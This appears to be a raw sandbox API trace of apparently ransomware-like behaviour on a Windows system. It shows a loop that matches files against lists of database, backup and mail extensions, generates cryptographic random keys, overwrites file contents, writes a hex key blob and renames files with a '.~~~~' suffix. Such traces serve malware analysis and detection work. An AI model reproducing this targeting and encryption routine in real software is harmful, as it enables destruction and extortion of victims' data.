	[0084.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".ckp") returned 0x0
	[0084.830] lstrlenW (lpString=".dbt") returned 4
	[0084.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".dbt") returned 0x0
	[0084.830] lstrlenW (lpString=".db") returned 3
	[0084.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".db") returned 0x0
	[0084.830] lstrlenW (lpString=".TXT") returned 4
	[0084.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".TXT") returned 0x0
	[0084.830] lstrlenW (lpString=".MDF") returned 4
	[0084.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".MDF") returned 0x0
	[0084.830] lstrlenW (lpString=".bdb") returned 4
	[0084.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".bdb") returned 0x0
	[0084.830] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0084.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0084.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0084.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0084.831] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0084.832] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0084.832] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0084.832] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0084.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0084.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce6f8
	[0084.832] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20482199893) returned 1
	[0084.832] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9c65cf70, dwHighDateTime=0x1d60e1e)) 
	[0084.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0084.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0084.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0084.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9ec0
	[0084.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0084.832] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9ec0 | out: hHeap=0x300000) returned 1
	[0084.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0084.832] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0084.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e6730
	[0084.832] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0084.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.832] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0084.832] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0084.833] GetLastError () returned 0x0
	[0084.833] GetLastError () returned 0x0
	[0084.833] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0084.833] GetLastError () returned 0x0
	[0084.833] GetLastError () returned 0x0
	[0084.834] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffffdeb, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0084.834] WriteFile (in: hFile=0x11c, lpBuffer=0x280dfd0*, nNumberOfBytesToWrite=0x215, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280dfd0*, lpNumberOfBytesWritten=0x24dfec0*=0x215, lpOverlapped=0x0) returned 1
	[0084.835] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280dfd0 | out: hHeap=0x300000) returned 1
	[0084.835] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.835] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0084.835] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0084.835] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0084.835] CloseHandle (hObject=0x11c) returned 1
	[0084.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x38fad8
	[0084.835] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.inf.~~~~")) returned 1
	[0084.836] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38fad8 | out: hHeap=0x300000) returned 1
	[0084.836] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0084.836] GetLastError () returned 0x0
	[0084.836] RtlWakeConditionVariable () returned 0x365f70
	[0084.836] GetCurrentThreadId () returned 0x3a4
	[0084.837] GetCurrentThreadId () returned 0x3a4
	[0084.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28089c0
	[0084.837] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6d18 | out: hHeap=0x300000) returned 1
	[0084.837] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9e88 | out: hHeap=0x300000) returned 1
	[0084.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6d18
	[0084.837] lstrlenW (lpString=".scr") returned 4
	[0084.837] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".scr") returned 0x0
	[0084.837] lstrlenW (lpString=".cmd") returned 4
	[0084.837] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".cmd") returned 0x0
	[0084.837] lstrlenW (lpString=".dll") returned 4
	[0084.837] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".dll") returned 0x0
	[0084.837] lstrlenW (lpString=".bat") returned 4
	[0084.837] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".bat") returned 0x0
	[0084.837] lstrlenW (lpString=".cpl") returned 4
	[0084.837] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".cpl") returned 0x0
	[0084.837] lstrlenW (lpString=".sys") returned 4
	[0084.837] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".sys") returned 0x0
	[0084.837] lstrlenW (lpString=".msc") returned 4
	[0084.837] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".msc") returned 0x0
	[0084.837] lstrlenW (lpString=".com") returned 4
	[0084.837] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".com") returned 0x0
	[0084.837] lstrlenW (lpString=".lnk") returned 4
	[0084.837] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".lnk") returned 0x0
	[0084.837] lstrlenW (lpString=".msp") returned 4
	[0084.837] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".msp") returned 0x0
	[0084.838] lstrlenW (lpString=".pif") returned 4
	[0084.838] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".pif") returned 0x0
	[0084.838] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0084.838] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch="msp\r\n.pif") returned 0x0
	[0084.838] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0084.838] lstrlenW (lpString=".sqb") returned 4
	[0084.838] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".sqb") returned 0x0
	[0084.838] lstrlenW (lpString=".ost") returned 4
	[0084.838] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".ost") returned 0x0
	[0084.838] lstrlenW (lpString=".txt") returned 4
	[0084.838] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".txt") returned 0x0
	[0084.838] lstrlenW (lpString=".mdt") returned 4
	[0084.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".mdt") returned 0x0
	[0084.839] lstrlenW (lpString=".BDB") returned 4
	[0084.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".BDB") returned 0x0
	[0084.839] lstrlenW (lpString=".eql") returned 4
	[0084.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".eql") returned 0x0
	[0084.839] lstrlenW (lpString=".DBF") returned 4
	[0084.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".DBF") returned 0x0
	[0084.839] lstrlenW (lpString=".EQL") returned 4
	[0084.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".EQL") returned 0x0
	[0084.839] lstrlenW (lpString=".FDB") returned 4
	[0084.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".FDB") returned 0x0
	[0084.839] lstrlenW (lpString=".EDB") returned 4
	[0084.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".EDB") returned 0x0
	[0084.839] lstrlenW (lpString=".DACPAC") returned 7
	[0084.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".DACPAC") returned 0x0
	[0084.839] lstrlenW (lpString=".VHD") returned 4
	[0084.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".VHD") returned 0x0
	[0084.839] lstrlenW (lpString=".DBV") returned 4
	[0084.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".DBV") returned 0x0
	[0084.839] lstrlenW (lpString=".dacpac") returned 7
	[0084.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".dacpac") returned 0x0
	[0084.839] lstrlenW (lpString=".sdf") returned 4
	[0084.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".sdf") returned 0x0
	[0084.839] lstrlenW (lpString=".accdb") returned 6
	[0084.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".accdb") returned 0x0
	[0084.840] lstrlenW (lpString=".DBX") returned 4
	[0084.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".DBX") returned 0x0
	[0084.840] lstrlenW (lpString=".MDT") returned 4
	[0084.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".MDT") returned 0x0
	[0084.840] lstrlenW (lpString=".SQB") returned 4
	[0084.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".SQB") returned 0x0
	[0084.840] lstrlenW (lpString=".vhd") returned 4
	[0084.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".vhd") returned 0x0
	[0084.840] lstrlenW (lpString=".bac") returned 4
	[0084.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".bac") returned 0x0
	[0084.840] lstrlenW (lpString=".mdf") returned 4
	[0084.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".mdf") returned 0x0
	[0084.840] lstrlenW (lpString=".BAK") returned 4
	[0084.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".BAK") returned 0x0
	[0084.840] lstrlenW (lpString=".BAC") returned 4
	[0084.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".BAC") returned 0x0
	[0084.840] lstrlenW (lpString=".dbs") returned 4
	[0084.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".dbs") returned 0x0
	[0084.841] lstrlenW (lpString=".vhdx") returned 5
	[0084.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".vhdx") returned 0x0
	[0084.841] lstrlenW (lpString=".NDF") returned 4
	[0084.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".NDF") returned 0x0
	[0084.841] lstrlenW (lpString=".dat") returned 4
	[0084.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".dat") returned 0x0
	[0084.841] lstrlenW (lpString=".DBS") returned 4
	[0084.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".DBS") returned 0x0
	[0084.841] lstrlenW (lpString=".CKP") returned 4
	[0084.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".CKP") returned 0x0
	[0084.841] lstrlenW (lpString=".edb") returned 4
	[0084.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".edb") returned 0x0
	[0084.841] lstrlenW (lpString=".PST") returned 4
	[0084.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".PST") returned 0x0
	[0084.841] lstrlenW (lpString=".dbf") returned 4
	[0084.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".dbf") returned 0x0
	[0084.841] lstrlenW (lpString=".SQL") returned 4
	[0084.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".SQL") returned 0x0
	[0084.842] lstrlenW (lpString=".pst") returned 4
	[0084.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".pst") returned 0x0
	[0084.842] lstrlenW (lpString=".dbv") returned 4
	[0084.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".dbv") returned 0x0
	[0084.842] lstrlenW (lpString=".SDF") returned 4
	[0084.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".SDF") returned 0x0
	[0084.842] lstrlenW (lpString=".dtxs") returned 5
	[0084.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".dtxs") returned 0x0
	[0084.842] lstrlenW (lpString=".db3") returned 4
	[0084.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".db3") returned 0x0
	[0084.842] lstrlenW (lpString=".OST") returned 4
	[0084.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".OST") returned 0x0
	[0084.842] lstrlenW (lpString=".dbx") returned 4
	[0084.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".dbx") returned 0x0
	[0084.842] lstrlenW (lpString=".DB3") returned 4
	[0084.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".DB3") returned 0x0
	[0084.842] lstrlenW (lpString=".DAT") returned 4
	[0084.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".DAT") returned 0x0
	[0084.842] lstrlenW (lpString=".VHDX") returned 5
	[0084.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".VHDX") returned 0x0
	[0084.842] lstrlenW (lpString=".ndf") returned 4
	[0084.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".ndf") returned 0x0
	[0084.842] lstrlenW (lpString=".DB") returned 3
	[0084.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".DB") returned 0x0
	[0084.843] lstrlenW (lpString=".sql") returned 4
	[0084.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".sql") returned 0x0
	[0084.843] lstrlenW (lpString=".MYD") returned 4
	[0084.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".MYD") returned 0x0
	[0084.843] lstrlenW (lpString=".DBT") returned 4
	[0084.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".DBT") returned 0x0
	[0084.843] lstrlenW (lpString=".ACCDB") returned 6
	[0084.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".ACCDB") returned 0x0
	[0084.843] lstrlenW (lpString=".fdb") returned 4
	[0084.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".fdb") returned 0x0
	[0084.843] lstrlenW (lpString=".bak") returned 4
	[0084.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".bak") returned 0x0
	[0084.843] lstrlenW (lpString=".myd") returned 4
	[0084.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".myd") returned 0x0
	[0084.843] lstrlenW (lpString=".DTXS") returned 5
	[0084.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".DTXS") returned 0x0
	[0084.843] lstrlenW (lpString=".ckp") returned 4
	[0084.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".ckp") returned 0x0
	[0084.843] lstrlenW (lpString=".dbt") returned 4
	[0084.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".dbt") returned 0x0
	[0084.843] lstrlenW (lpString=".db") returned 3
	[0084.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".db") returned 0x0
	[0084.843] lstrlenW (lpString=".TXT") returned 4
	[0084.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".TXT") returned 0x0
	[0084.844] lstrlenW (lpString=".MDF") returned 4
	[0084.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".MDF") returned 0x0
	[0084.844] lstrlenW (lpString=".bdb") returned 4
	[0084.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".bdb") returned 0x0
	[0084.844] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0084.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0084.844] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0084.844] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0084.844] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0084.845] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0084.845] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0084.845] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0084.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0084.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce6f8
	[0084.845] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20483546744) returned 1
	[0084.845] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9c6830d0, dwHighDateTime=0x1d60e1e)) 
	[0084.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0084.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0084.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0084.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9e88
	[0084.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0084.846] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9e88 | out: hHeap=0x300000) returned 1
	[0084.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0084.846] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
